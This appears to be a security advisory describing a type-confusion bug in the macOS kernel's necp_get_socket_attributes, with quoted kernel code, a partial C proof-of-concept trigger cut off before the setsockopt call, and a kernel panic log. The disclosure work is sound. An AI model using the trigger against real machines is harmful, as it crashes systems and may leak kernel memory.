macOS necp_get_socket_attributes so_pcb Type Confusion

macOS suffers from an so_pcb type confusion vulnerability in necp_get_socket_attributes.

MD5 | 420bee1dc1be795e79cb3c03b5f47731

MacOS so_pcb type confusion in necp_get_socket_attributes 


When setsockopt() is called on any socket with level SOL_SOCKET and optname SO_NECP_ATTRIBUTES, necp_get_socket_attributes is invoked.
necp_get_socket_attributes() unconditionally calls sotoinpcb(so):

necp_get_socket_attributes(struct socket *so, struct sockopt *sopt)
int error = 0;
u_int8_t *buffer = NULL;
u_int8_t *cursor = NULL;
size_t valsize = 0;
struct inpcb *inp = sotoinpcb(so);

if (inp->inp_necp_attributes.inp_domain != NULL) {
valsize += sizeof(struct necp_tlv_header) + strlen(inp->inp_necp_attributes.inp_domain);

sotoinpcb() causes type confusion if so->so_pcb is of an unexpected type (because the socket is not an IPv4/IPv6 socket):

#define sotoinpcb(so) ((struct inpcb *)(so)->so_pcb)

If necp_get_socket_attributes() is called on a UNIX domain socket, this will cause the members of inp->inp_necp_attributes to be read from type-confused, probably also out-of-bounds memory behind the actual so->so_pcb (which is of type `struct unpcb`, which looks much smaller than `struct inpcb`).

To trigger this bug, compile the following code, run it, and cause some system activity, e.g. by launching the browser (the PoC won't crash if so->so_pcb contains NULLs in the right spots).

#include <sys/types.h>
#include <sys/un.h>
#include <sys/socket.h>
#include <err.h>
#include <unistd.h>

#define SO_NECP_ATTRIBUTES 0x1109

int main(void) {
while (1) {
int s = socket(AF_UNIX, SOCK_STREAM, 0);
if (s == -1)
err(1, "socket");

On macOS 10.13 (17A405), this causes the following crash:

*** Panic Report ***
panic(cpu 2 caller 0xffffff800e78a611): Kernel trap at 0xffffff800e976930, type 14=page fault, registers:
CR0: 0x000000008001003b, CR2: 0x000000fa000000cc, CR3: 0x0000000200037073, CR4: 0x00000000001627e0
RAX: 0x000000fa000000cc, RBX: 0x000000fa000000cb, RCX: 0xffffff800eb90aad, RDX: 0xffffff800eb90dcc
RSP: 0xffffff8018de3e70, RBP: 0xffffff8018de3e90, RSI: 0xffffff8018de3ef0, RDI: 0xffffff8032ac66a8
<a href="" title="" class="" rel="nofollow">R8</a>: 0x0000000000000001, <a href="" title="" class="" rel="nofollow">R9</a>: 0xffffffff00000000, <a href="" title="" class="" rel="nofollow">R10</a>: 0x0000000000000000, <a href="" title="" class="" rel="nofollow">R11</a>: 0x0000000000000246
<a href="" title="" class="" rel="nofollow">R12</a>: 0xffffff80357cf7d0, <a href="" title="" class="" rel="nofollow">R13</a>: 0xffffff8032d69a08, <a href="" title="" class="" rel="nofollow">R14</a>: 0xffffff8018de3ef0, <a href="" title="" class="" rel="nofollow">R15</a>: 0xffffff8032ac66a8
RFL: 0x0000000000010206, RIP: 0xffffff800e976930, CS: 0x0000000000000008, SS: 0x0000000000000010
Fault CR2: 0x000000fa000000cc, Error code: 0x0000000000000000, Fault CPU: 0x2, PL: 0, VF: 1

This bug should be usable for disclosing kernel memory.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: jannh

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